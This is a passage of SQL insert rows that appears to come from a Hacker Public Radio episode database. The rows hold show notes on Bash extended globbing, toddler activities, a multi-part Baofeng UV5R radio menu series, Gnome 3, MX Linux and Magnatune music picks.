(2293,'2017-05-17','More supplementary Bash tips',2305,'Finishing off the subject of expansion in Bash (part 2)','<h1 id=\"more-supplementary-bash-tips\">More supplementary Bash tips</h1>\r\n<h3 id=\"pathname-expansion-part-2-of-2\">Pathname expansion; part 2 of 2</h3>\r\n<h2 id=\"expansion\">Expansion</h2>\r\n<p>As we saw in the last episode <a href=\"https://hackerpublicradio.org/eps.php?id=2278\" title=\"Some supplementary Bash tips\">2278</a> (and others in this sub-series) there are eight types of expansion applied to the command line in the following order:</p>\r\n<ul>\r\n<li>Brace expansion (we looked at this subject in episode <a href=\"https://hackerpublicradio.org/eps.php?id=1884\" title=\"Some more Bash tips\">1884</a>)</li>\r\n<li>Tilde expansion (seen in episode <a href=\"https://hackerpublicradio.org/eps.php?id=1903\" title=\"Some further Bash tips\">1903</a>)</li>\r\n<li>Parameter and variable expansion (this was covered in episode <a href=\"https://hackerpublicradio.org/eps.php?id=1648\" title=\"Bash parameter manipulation\">1648</a>)</li>\r\n<li>Command substitution (seen in episode <a href=\"https://hackerpublicradio.org/eps.php?id=1903\" title=\"Some further Bash tips\">1903</a>)</li>\r\n<li>Arithmetic expansion (seen in episode <a href=\"https://hackerpublicradio.org/eps.php?id=1951\" title=\"Some additional Bash tips\">1951</a>)</li>\r\n<li>Process substitution (seen in episode <a href=\"https://hackerpublicradio.org/eps.php?id=2045\" title=\"Some other Bash tips\">2045</a>)</li>\r\n<li>Word splitting (seen in episode <a href=\"https://hackerpublicradio.org/eps.php?id=2045\" title=\"Some other Bash tips\">2045</a>)</li>\r\n<li>Pathname expansion (the previous episode <a href=\"https://hackerpublicradio.org/eps.php?id=2278\" title=\"Some supplementary Bash tips\">2278</a> and this one)</li>\r\n</ul>\r\n<p>This is the last topic in the (sub-) series about expansion in Bash.</p>\r\n<p>In this episode we will look at extended pattern matching as also defined in the “<a href=\"https://hackerpublicradio.org/eps/hpr2293/full_shownotes.html#manual-page-extracts\">Manual Page Extracts</a>” section at the end of the long notes.</p>\r\n<h2 id=\"long-show-notes\">Long Show Notes</h2>\r\n<p>I have written out a moderately long set of notes about this subject and these are available <a href=\"https://hackerpublicradio.org/eps/hpr2293/full_shownotes.html\">here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<!-- \\_ -->\r\n<ul>\r\n<li>Previous shows in this series\r\n<ol>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1648\">HPR episode 1648 “<em>Bash parameter manipulation</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1843\">HPR episode 1843 “<em>Some Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1884\">HPR episode 1884 “<em>Some more Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1903\">HPR episode 1903 “<em>Some further Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1951\">HPR episode 1951 “<em>Some additional Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2045\">HPR episode 2045 “<em>Some other Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2278\">HPR episode 2278 “<em>Some supplementary Bash tips</em>”</a></li>\r\n</ol></li>\r\n</ul>\r\n<!-- - -->\r\n<ul>\r\n<li>Other HPR series referenced:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/series.php?id=90\">“<em>Learning sed</em>”</a> series on HPR</li>\r\n<li><a href=\"https://hackerpublicradio.org/series.php?id=94\">“<em>Learning Awk</em>”</a> series on HPR</li>\r\n</ul></li>\r\n</ul>\r\n<!-- - -->\r\n<ul>\r\n<li>Wikipedia article on <a href=\"https://en.wikipedia.org/wiki/Glob_%28programming%29\"><em>glob patterns</em></a></li>\r\n<li>Advanced Bash Scripting Guide: <a href=\"https://www.tldp.org/LDP/abs/html/globbingref.html\">“<em>Globbing</em>”</a></li>\r\n<li>Article on <a href=\"https://mywiki.wooledge.org/glob\"><em>Greg’s Wiki</em></a> entitled “<em>Globs</em>”</li>\r\n<li>Questions about <em>Bash extended globbing</em> on Stack Exchange:\r\n<ul>\r\n<li>Question 1: <a href=\"https://unix.stackexchange.com/questions/168769/bash-extended-globbing\">How to list just one file with ‘<code>ls</code>’</a></li>\r\n<li>Question 2: <a href=\"https://unix.stackexchange.com/questions/203386/extended-glob-what-is-the-difference-in-syntax-between-list-list-list\">What is the difference between…</a></li>\r\n<li>Question 3: <a href=\"https://stackoverflow.com/questions/4554718/patterns-in-case-statement-in-bash-scripting\">Patterns in case statements</a></li>\r\n</ul></li>\r\n</ul>',225,42,1,'CC-BY-SA','Bash, expansion, filename expansion, extglob, extended pattern matching',0,0,1),
(2294,'2017-05-18','Activities with a Toddler',663,'11 things you can do with a toddler you are taking care of.','<p>Here is the list I check when I am looking for something to do with my toddler. Note that these are good indoor activities.</p>\r\n<pre><code>[ ] Milk and TV\r\n[ ] Duplo\r\n[ ] Dollhouse\r\n[ ] Meal preparation\r\n[ ] Mixing bowl\r\n[ ] Crafts or painting\r\n[ ] Sink time\r\n[ ] Chasing and tickling\r\n[ ] Reading\r\n[ ] Cat videos\r\n[ ] Container of similar things</code></pre>',250,0,0,'CC-BY-SA','parenting, toddlers, children',0,0,1),
(2296,'2017-05-22','Baofeng UV5R VHF/UHF Handset part 2',724,'An in depth series about the Baofeng UV5R VHF/UHF hand-held transceiver.','<p>In this episode I go through the general specification of the Baofeng UV5R VHF / UHF Hand Held Transceiver</p>\r\n<ul>\r\n<li><p>VHF, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Very_high_frequency\" class=\"uri\">https://en.wikipedia.org/wiki/Very_high_frequency</a></p></li>\r\n<li><p>UHF, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Ultra_high_frequency\" class=\"uri\">https://en.wikipedia.org/wiki/Ultra_high_frequency</a></p></li>\r\n<li><p>2 Meter band, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/2-meter_band\" class=\"uri\">https://en.wikipedia.org/wiki/2-meter_band</a></p></li>\r\n<li><p>70 Cm band, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/70-centimeter_band\" class=\"uri\">https://en.wikipedia.org/wiki/70-centimeter_band</a></p></li>\r\n<li><p>Simplex communication, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Simplex_communication\" class=\"uri\">https://en.wikipedia.org/wiki/Simplex_communication</a></p></li>\r\n<li><p>Duplex, Semi-Duplex (Half Duplex), Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Duplex_(telecommunications)\" class=\"uri\">https://en.wikipedia.org/wiki/Duplex_(telecommunications)</a></p></li>\r\n<li><p>Modulation, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Modulation\" class=\"uri\">https://en.wikipedia.org/wiki/Modulation</a></p></li>\r\n<li><p>Frequency Modulation (FM), Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Frequency_modulation\" class=\"uri\">https://en.wikipedia.org/wiki/Frequency_modulation</a></p></li>\r\n<li><p>Amplitude Modulation (AM), Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Amplitude_modulation\" class=\"uri\">https://en.wikipedia.org/wiki/Amplitude_modulation</a></p></li>\r\n<li><p>Harmonics, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Harmonic\" class=\"uri\">https://en.wikipedia.org/wiki/Harmonic</a></p></li>\r\n<li><p>Decibels, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Decibel\" class=\"uri\">https://en.wikipedia.org/wiki/Decibel</a></p></li>\r\n<li><p>Signal to Noise ratio, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Signal-to-noise_ratio\" class=\"uri\">https://en.wikipedia.org/wiki/Signal-to-noise_ratio</a></p></li>\r\n<li><p>Intermodulation, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Intermodulation\" class=\"uri\">https://en.wikipedia.org/wiki/Intermodulation</a></p></li>\r\n</ul>\r\n',201,43,1,'CC-BY-SA','Amateur Radio',0,0,1),
(2301,'2017-05-29','Baofeng UV5R VHF/UHF Handset part 3',804,'An in depth series about the Baofeng UV5R VHF/UHF hand-held transceiver.','<p>This episode will be right up your street if you like rambling podcasts.</p>\r\n<p>I planned to cover the supplied accessories of the Baofeng UV5R VHF / UHF Hand Held Transceiver however somewhere along the line I rambled off topic and started blathering on about a whole range of topics.</p>\r\n<p>I cover the VHF / UHF spectrum, radio frequency, wavelength Omni-directional antennas, mains hum time stamp fingerprinting among other things.</p>\r\n<p>Sit back and enjoy.</p>\r\n<ul>\r\n<li><p>VHF, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Very_high_frequency\" class=\"uri\">https://en.wikipedia.org/wiki/Very_high_frequency</a></p></li>\r\n<li><p>UHF, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Ultra_high_frequency\" class=\"uri\">https://en.wikipedia.org/wiki/Ultra_high_frequency</a></p></li>\r\n<li><p>Radio Frequency, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Radio_frequency\" class=\"uri\">https://en.wikipedia.org/wiki/Radio_frequency</a></p></li>\r\n<li><p>Radio Waves, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Radio_wave\" class=\"uri\">https://en.wikipedia.org/wiki/Radio_wave</a></p></li>\r\n<li><p>Wavelength, wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Wavelength\" class=\"uri\">https://en.wikipedia.org/wiki/Wavelength</a></p></li>\r\n<li><p>Omni-Directional Antenna Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Omnidirectional_antenna\" class=\"uri\">https://en.wikipedia.org/wiki/Omnidirectional_antenna</a></p></li>\r\n<li><p>New Scientist Magazine, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/New_Scientist\" class=\"uri\">https://en.wikipedia.org/wiki/New_Scientist</a></p></li>\r\n<li><p>Found this related article on the BBC website about Mains hum time stamp fingerprinting<br />\r\n<a href=\"https://www.bbc.co.uk/news/science-environment-20629671\" class=\"uri\">https://www.bbc.co.uk/news/science-environment-20629671</a></p></li>\r\n<li><p>2 Meter band, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/2-meter_band\" class=\"uri\">https://en.wikipedia.org/wiki/2-meter_band</a></p></li>\r\n<li><p>70 Cm band, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/70-centimeter_band\" class=\"uri\">https://en.wikipedia.org/wiki/70-centimeter_band</a></p></li>\r\n</ul>',201,43,0,'CC-BY-SA','Amateur Radio',0,0,1),
(2307,'2017-06-06','Baofeng UV5R VHF/UHF Handset part 4',942,'An in depth series about the Baofeng UV5R VHF/UHF hand-held transceiver.','<p>In this episode I cover the controls and connectors around the outside edge of the Baofeng UV5R VHF / UHF Hand Held Transceiver</p>\r\n<ul>\r\n<li>Jack Plug / Socket, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Phone_connector_(audio)\" class=\"uri\">https://en.wikipedia.org/wiki/Phone_connector_(audio)</a></li>\r\n</ul>\r\n<p>I couldn\'t find a link to the supposed problem with the headphone socket on the Baofeng UV5R and despite regularly plugging and unplugging the covert earpiece so far mine seems to be working OK as long as I don\'t push the plug too far in. Perhaps on this radio it is less of a problem than I first thought.</p>\r\n<ul>\r\n<li><p>Variable Resistor (Potentiometer), Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Potentiometer\" class=\"uri\">https://en.wikipedia.org/wiki/Potentiometer</a></p></li>\r\n<li><p>LED light, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Light-emitting_diode\" class=\"uri\">https://en.wikipedia.org/wiki/Light-emitting_diode</a></p></li>\r\n<li><p>SMA connector, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/SMA_connector\" class=\"uri\">https://en.wikipedia.org/wiki/SMA_connector</a></p></li>\r\n<li><p>Simplex, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Two-way_radio#Simplex\" class=\"uri\">https://en.wikipedia.org/wiki/Two-way_radio#Simplex</a></p></li>\r\n<li><p>Duplex &amp; [Half Duplex / Full Duplex], Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Two-way_radio#Duplex\" class=\"uri\">https://en.wikipedia.org/wiki/Two-way_radio#Duplex</a></p></li>\r\n<li><p>Squelch, Wikipedia -- Menu 0<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Squelch\" class=\"uri\">https://en.wikipedia.org/wiki/Squelch</a></p></li>\r\n</ul>',201,43,0,'CC-BY-SA','Amateur Radio',0,0,1),
(2311,'2017-06-12','Baofeng UV5R VHF/UHF Handset part 5',1166,'An in depth series about the Baofeng UV5R VHF/UHF hand-held transceiver.','<p>In this episode I cover the rear and front panel features &amp; controls of the Baofeng UV5R VHF / UHF Hand Held Transceiver</p>\r\n<ul>\r\n<li><p>Lithium Ion Battery, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Lithium-ion_battery\" class=\"uri\">https://en.wikipedia.org/wiki/Lithium-ion_battery</a></p></li>\r\n<li><p>Oscillator, wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Electronic_oscillator\" class=\"uri\">https://en.wikipedia.org/wiki/Electronic_oscillator</a></p></li>\r\n<li><p>Variable Frequency Oscillator (VFO), Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Variable-frequency_oscillator\" class=\"uri\">https://en.wikipedia.org/wiki/Variable-frequency_oscillator</a></p></li>\r\n<li><p>GB2RS news service (EDINBURGH GM4DTH)<br />\r\n<a href=\"https://rsgb.org/main/gb2rs/\" class=\"uri\">https://rsgb.org/main/gb2rs/</a></p></li>\r\n<li><p>VHF, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Very_high_frequency\" class=\"uri\">https://en.wikipedia.org/wiki/Very_high_frequency</a></p></li>\r\n<li><p>UHF, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Ultra_high_frequency\" class=\"uri\">https://en.wikipedia.org/wiki/Ultra_high_frequency</a></p></li>\r\n<li><p>1750Hz Tone Burst<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Selective_calling#Tone_burst_or_single_tone\" class=\"uri\">https://en.wikipedia.org/wiki/Selective_calling#Tone_burst_or_single_tone</a></p></li>\r\n</ul>',201,43,0,'CC-BY-SA','Amateur Radio',0,0,1),
(2316,'2017-06-19','Baofeng UV5R VHF/UHF Handset part 6',941,'An in depth series about the Baofeng UV5R VHF/UHF hand-held transceiver.','<p>In this episode I cover the menus 0 to 5 of the Baofeng UV5R VHF / UHF Hand Held Transceiver</p>\r\n<ul>\r\n<li><p>Menu 0, Squelch, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Squelch\" class=\"uri\">https://en.wikipedia.org/wiki/Squelch</a></p></li>\r\n<li><p>Menu 1, STEP - Frequency Step</p></li>\r\n<li><p>Menu 2, TXP - Transmit Power, Lo / Hi (1W/ 4W),</p></li>\r\n<li><p>Menu 3, SAVE - Battery Save, OFF/1/2/3/4 (1:1 / 1:2 / 1:3 / 1:4)</p></li>\r\n<li><p>Menu 4, VOX, Voice Operated Switch / Exchange, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Voice-operated_switch\" class=\"uri\">https://en.wikipedia.org/wiki/Voice-operated_switch</a></p></li>\r\n<li><p>Menu 5, WN - Wideband / Narrowband [ WIDE 5kHz / NARR 2.5kHz ]</p></li>\r\n<li><p>Modulation, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Modulation\" class=\"uri\">https://en.wikipedia.org/wiki/Modulation</a></p></li>\r\n<li><p>Frequency Deviation, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Frequency_deviation\" class=\"uri\">https://en.wikipedia.org/wiki/Frequency_deviation</a></p></li>\r\n<li><p>Frequency Modulation (FM), Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Frequency_modulation\" class=\"uri\">https://en.wikipedia.org/wiki/Frequency_modulation</a></p></li>\r\n<li><p>Signal to Noise Ratio<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Signal-to-noise_ratio\" class=\"uri\">https://en.wikipedia.org/wiki/Signal-to-noise_ratio</a></p></li>\r\n<li><p>Amplitude Modulation (AM), Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Amplitude_modulation\" class=\"uri\">https://en.wikipedia.org/wiki/Amplitude_modulation</a></p></li>\r\n</ul>\r\n',201,43,0,'CC-BY-SA','Amateur Radio',0,0,1),
(2321,'2017-06-26','Baofeng UV5R VHF/UHF Handset part 7',1107,'An in depth series about the Baofeng UV5R VHF/UHF hand-held transceiver.','<p>In this episode I cover the menus 6 to 11 of the Baofeng UV5R VHF / UHF Hand Held Transceiver</p>\r\n<p>Link to the Free, open-source tool for programming your amateur radio. It supports a large number of manufacturers and models, as well as provides a way to interface with multiple data sources and formats. <a href=\"https://chirp.danplanet.com/projects/chirp/wiki/Home\" class=\"uri\">https://chirp.danplanet.com/projects/chirp/wiki/Home</a></p>\r\n<ul>\r\n<li><p>Menu 6, ABR - Display Illumination Time [ 1-5 or OFF ]</p></li>\r\n<li><p>Menu 7, TDR - Dual Watch, [ ON / OFF ]</p></li>\r\n<li><p>Menu 8, BEEP - Keypad Beep [ ON /OFF ]</p></li>\r\n<li><p>Menu 9, TOT - Transmission Time-out-Timer [ 15 -- 600 ]</p></li>\r\n<li><p>Menu 10, R-DCS - Receiver DCS, DCS Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Squelch#DCS\" class=\"uri\">https://en.wikipedia.org/wiki/Squelch#DCS</a></p></li>\r\n<li><p>Menu 11, R-CTCS - Receiver CTCSS, CTCSS Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Continuous_Tone-Coded_Squelch_System\" class=\"uri\">https://en.wikipedia.org/wiki/Continuous_Tone-Coded_Squelch_System</a></p></li>\r\n</ul>',201,43,0,'CC-BY-SA','Amateur Radio',0,0,1),
(2328,'2017-07-05','Baofeng UV5R VHF/UHF Handset part 8',830,'An in depth series about the Baofeng UV5R VHF/UHF hand-held transceiver.','<p>In this episode I cover the menus 12 to 24 of the Baofeng UV5R VHF / UHF Hand Held Transceiver</p>\r\n<ul>\r\n<li><p>Menu 12, T-DCS - Transmitter DCS: [ D023N -- D754I , OFF ], DCS Wikpedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Squelch#DCS\" class=\"uri\">https://en.wikipedia.org/wiki/Squelch#DCS</a></p></li>\r\n<li><p>Menu 13, 13 T-CTCS - Transmitter CTCSS [ 67.0 -- 254.1, OFF ], CTCSS Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Continuous_Tone-Coded_Squelch_System\" class=\"uri\">https://en.wikipedia.org/wiki/Continuous_Tone-Coded_Squelch_System</a></p></li>\r\n<li><p>Menu 14, VOICE - Voice Prompt [ ENG / CHI / OFF ]</p></li>\r\n<li><p>Menu 15, ANI-ID - Automatic Number ID Baofeng UV-5R</p></li>\r\n<li><p>Menu 16, DTMFST - DTMF tone of transmit [1, 2, 3, 0]</p></li>\r\n<li><p>Menu 17, S-CODE - Signal Code [ 1-15 ]</p></li>\r\n<li><p>Menu 18, SC-REV - Scanner Resume Method (Time, Carrier, Search) [ TO / CO / SE ]</p></li>\r\n<li><p>Menu 19, PTT-ID - When to send the PTT-ID (Beginning, End Both) [ BOT / EOT BOTH ]</p></li>\r\n<li><p>Menu 20, PTT-LT - Signal code sending delay. [ 0 -- 30 ]</p></li>\r\n<li><p>Menu 21, MDF-A - Channel Mode A Display [ NAME / FREQ ]</p></li>\r\n<li><p>Menu 22, MDF-B - Channel Mode B Display [ NAME / FREQ ]</p></li>\r\n<li><p>Menu 23, BCL - Busy Channel Lock-out [ OFF / ON ]</p></li>\r\n<li><p>Menu 24, 24 AUTOLK - Automatic Keypad Lock [ ON/ OFF ]</p></li>\r\n<li><p>DTMF, Wikipedia<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling\" class=\"uri\">https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling</a></p></li>\r\n</ul>',201,43,0,'CC-BY-SA','Amateur Radio',0,0,1),
(2335,'2017-07-14','Baofeng UV5R VHF/UHF Handset part 9',912,'An in depth series about the Baofeng UV5R VHF/UHF hand-held transceiver.','<p>In this episode I cover the menus 25 to 40 of the Baofeng UV5R VHF / UHF Hand Held Transceiver</p>\r\n<ul>\r\n<li><p>Menu 25, SFT-D - Frequency Shift Direction [ - / + / 0 ] (Duplex shift)</p></li>\r\n<li><p>Menu 26, OFFSET - Frequency shift amount - Values (MHz) [ 00.000 - 69.990 ]</p></li>\r\n<li><p>Menu 27, MEM-CH - Store a Memory Channel [ 000 -- 127 ]</p></li>\r\n<li><p>Menu 28, DEL-CH - Delete a memory channel [ 000 -- 127 ]</p></li>\r\n<li><p>Menu 29, WT-LED - Display back-light colour (Standby) [ BLUE, ORANGE, PURPLE, OFF ]</p></li>\r\n<li><p>Menu 30, RX-LED - Display back-light colour (Receive) [ BLUE, ORANGE, PURPLE, OFF ]</p></li>\r\n<li><p>Menu 31, TX-LED - Display back-light colour (Transmitt) [ BLUE, ORANGE, PURPLE, OFF ]</p></li>\r\n<li><p>Menu 32, AL-MOD - Alarm Mode, Activated when Orange button Held [ SITE, TONE, CODE ]</p></li>\r\n<li><p>Menu 33, BAND - Band Selection [VHF/UHF]</p></li>\r\n<li><p>Menu 34, TDR-AB - Transmit selection in Dual Watch mode [ A / B / OFF ]</p></li>\r\n<li><p>Menu 35, STE (Squelch Tail Elimination) [ ON / OFF ]<br />\r\n<a href=\"https://ham.stackexchange.com/questions/3771/how-does-the-baofeng-radio-eliminate-squelch-tail\" class=\"uri\">https://ham.stackexchange.com/questions/3771/how-does-the-baofeng-radio-eliminate-squelch-tail</a></p></li>\r\n<li><p>Menu 36, RP-STE - Squelch Tail Elimination through a repeater [ 1-10 OFF]</p></li>\r\n<li><p>Menu 37, RPT-RL - Delay the squelch tail of re-peater [ 1 - 10 OFF ]</p></li>\r\n<li><p>Menu 38, 38 PONMGS - Power On Message [ Full / MSG ]</p></li>\r\n<li><p>Menu 39, Roger Beep, Wikipedia [ ON / OFF ]<br />\r\n<a href=\"https://en.wiktionary.org/wiki/roger_beep\" class=\"uri\">https://en.wiktionary.org/wiki/roger_beep</a></p></li>\r\n<li><p>Menu 40 RESET - Restore defaults [ VFO / ALL ]</p></li>\r\n</ul>',201,43,0,'CC-BY-SA','Amateur Radio',0,0,1),
(2299,'2017-05-25','What\'s in My Bag',376,'Here are the five items in the bag I take to my job.','<p>A computer instructor explains why there is a flashlight, a flash drive, a set of picture dice, a small notebook, and a cell phone in his bag.</p>\r\n',250,23,0,'CC-BY-SA','instructor, bag',0,0,1),
(2304,'2017-06-01','Using Gnome 3 for the First Time',643,'Shane just switched his desktop environment from XFCE to Gnome 3. Here is his experience, so far.','<p>Here are the three Gnome 3 extensions I am enjoying:</p>\r\n<ul>\r\n<li>Clipboard indicator at <a href=\"https://extensions.gnome.org/extension/779/clipboard-indicator/\" class=\"uri\">https://extensions.gnome.org/extension/779/clipboard-indicator/</a></li>\r\n<li>Dynamic top bar at <a href=\"https://extensions.gnome.org/extension/885/dynamic-top-bar/\" class=\"uri\">https://extensions.gnome.org/extension/885/dynamic-top-bar/</a></li>\r\n<li>Removable drive menu at <a href=\"https://extensions.gnome.org/extension/7/removable-drive-menu/\" class=\"uri\">https://extensions.gnome.org/extension/7/removable-drive-menu/</a></li>\r\n</ul>',250,0,0,'CC-BY-SA','ubuntu, linux, xfce, gnome 3, desktop environment',0,0,1),
(2295,'2017-05-19','MX Linux',529,'Show about my latest Linux Distro find','<p>MX Linux OS</p>\r\n<p>Hi To all in HPR land, this is Tony Hughes in the UK back with you. I noticed that the queue has a couple of gaps in the next week or so here goes again.</p>\r\n<p>Apart from my last show I\'ve recently done shows on current Linux distro\'s that are suitable for older hardware but with a modern look and feel and fully featured with the latest software available.</p>\r\n<p>As you have probably gathered by now if you have listened to my other shows I am a big fan of older Lenovo Laptops. My main Lenovo is an X230i i3 with a 2.5G cpu and 8Gig of Ram and a 120Gig SSD, it did have Mint 17.3 running on it and after running Mint 18 / 18.1 for several months on my desktop PC I decided to upgrade to 18.1 on the X230i.</p>\r\n<p>I completed the install and on first boot after install the boot time had risen from about 40s to over 2 minutes, I suspected a problem with the install so did it again with the same result. I couldn\'t find any issues reported on the net so resorted to installing Linux Lite which is based on Ubuntu 16.04 as is Mint 18. The problem persisted after this install despite getting near 40s boots on the Lenovo X61s with an SSD and the same Distro.</p>\r\n<p>I did another web search but could not find any other reports of this issue with the X230i so put a post on the Facebook community Distro hoppers. The response I got back from one member was to try MX16.</p>\r\n<p>MX Linux is a joint venture from the antiX and former MEPIS communities and is based on the latest Debian Stable &quot;Jessie&quot; with the XFCE desk top environment.</p>\r\n<p>I duly downloaded it and installed it in a Virtual PC using virtual box to see what it looked and felt like. The install is fairly user friendly although if you\'ve never had experience of Linux and installed other Distributions a new user may be a bit unsure when asked about the MBR and where to put it, other than that a fairly straightforward install.</p>\r\n<p>On install there is a fairly good selection of the software you would need including a full install of LibreOffice, FireFox, Thunderbird, GIMP and synaptic package manager for adding further software from the repositories. MX have also included the ability to simply install codecs and additional drivers and a software installation system for popular Apps from the MX Welcome that comes up at boot or if disabled can be started form the menu. Also I installed it on a virtual 8Gig HDD and GParted reports use of 4.64Gig after install and updates, by default it only installs a 1G swap despite 2Gig allocated Ram in the VM.</p>\r\n<p>I liked the look of MX and decided to give it a go on the X230i, install went smoothly and lo and behold boot was back to around 40s on first boot after install. So I\'ve updated the install, installed my packages I use that are not there by default such as Audacity, Scratch and a couple of other things I use. I\'ve also put it on the X61s I use and again working faultlessly, so I\'m happy again. Since I installed MX I found out from a member of my Makerspace/LUG that he had experienced the same problem with Ubuntu 16.04 based distro\'s and crippled SSD Boot times.</p>\r\n<p>I like MX so much when it come to time to reinstall my Desk Top PC, which is about the only PC I use that is not constantly changing OS, I think I will be putting MX on it. This is a big deal for me as I\'ve been a loyal Mint user for over 5 years but MX is working so well on the Laptops at the moment it would be good to have the same OS on the Desktop PC as well.</p>\r\n<p>Will MX stop my Distro Hopping, NO, I like trying out new things that\'s why I have several Laptops kicking around so I have spare hardware to try out new Linux stuff, but it is good to have something stable around when you need it, hence sticking with Mint for so long on the Desktop.</p>\r\n<ul>\r\n<li><a href=\"https://mxlinux.org/\" class=\"uri\">https://mxlinux.org/</a></li>\r\n<li><a href=\"https://antix.mepis.org/index.php?title=Main_Page\" class=\"uri\">https://antix.mepis.org/index.php?title=Main_Page</a></li>\r\n<li><a href=\"https://www.mepis.org/\" class=\"uri\">https://www.mepis.org/</a></li>\r\n</ul>\r\n',338,57,0,'CC-BY-SA','Linux, Distributions',0,0,1),
(2297,'2017-05-23','More Magnatune Favourites',4112,'Andrew and Dave offer you some more tracks from Magnatune','<h1 id=\"more-magnatune-favourites\">More Magnatune Favourites</h1>\r\n<p>After nearly two years Andrew (<span class=\"citation\" data-cites=\"mcnalu\">@mcnalu</span>) and Dave have prepared another show of some of their favourite music from <a href=\"https://magnatune.com/\" title=\"Magnatune\">Magnatune</a> for your pleasure.</p>\r\n<ul>\r\n<li>Andrew #1:\r\n<ul>\r\n<li>Album: \"<em>Helium</em>\" by prettyhowtown</li>\r\n<li>Track: Rodrigo (04:25)</li>\r\n<li>Genre: Ambient</li>\r\n<li>Link: <a href=\"https://magnatune.com/artists/albums/prettyhowtown-helium\" class=\"uri\">https://magnatune.com/artists/albums/prettyhowtown-helium</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Dave #1:\r\n<ul>\r\n<li>Album: \"<em>The Secret Life of Angels</em>\" by SkinMechanix</li>\r\n<li>Track: Ultravista (08:44)</li>\r\n<li>Genre: Electronica</li>\r\n<li>Link: <a href=\"https://magnatune.com/artists/albums/skin-angels\" class=\"uri\">https://magnatune.com/artists/albums/skin-angels</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Andrew #2:\r\n<ul>\r\n<li>Album: \"<em>Sleep Mode</em>\" by Mike McGuill</li>\r\n<li>Track: Think Tank (04:38)</li>\r\n<li>Genre: Electronica</li>\r\n<li>Link: <a href=\"https://magnatune.com/artists/albums/mmcguill-sleepmode\" class=\"uri\">https://magnatune.com/artists/albums/mmcguill-sleepmode</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Dave #2:\r\n<ul>\r\n<li>Album: \"<em>General Fuzz</em>\" by General Fuzz</li>\r\n<li>Track: Ray squared (06:49)</li>\r\n<li>Genre: Ambient, Electronica</li>\r\n<li>Link: <a href=\"https://magnatune.com/artists/albums/fuzz-fuzz\" class=\"uri\">https://magnatune.com/artists/albums/fuzz-fuzz</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Andrew #3:\r\n<ul>\r\n<li>Album: \"<em>Theatralica</em>\" by Stanislav</li>\r\n<li>Track: Infant (02:35)</li>\r\n<li>Genre: Electro Rock</li>\r\n<li>Link: <a href=\"https://magnatune.com/artists/albums/stanislav-theatralica\" class=\"uri\">https://magnatune.com/artists/albums/stanislav-theatralica</a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Dave #3:\r\n<ul>\r\n<li>Album: 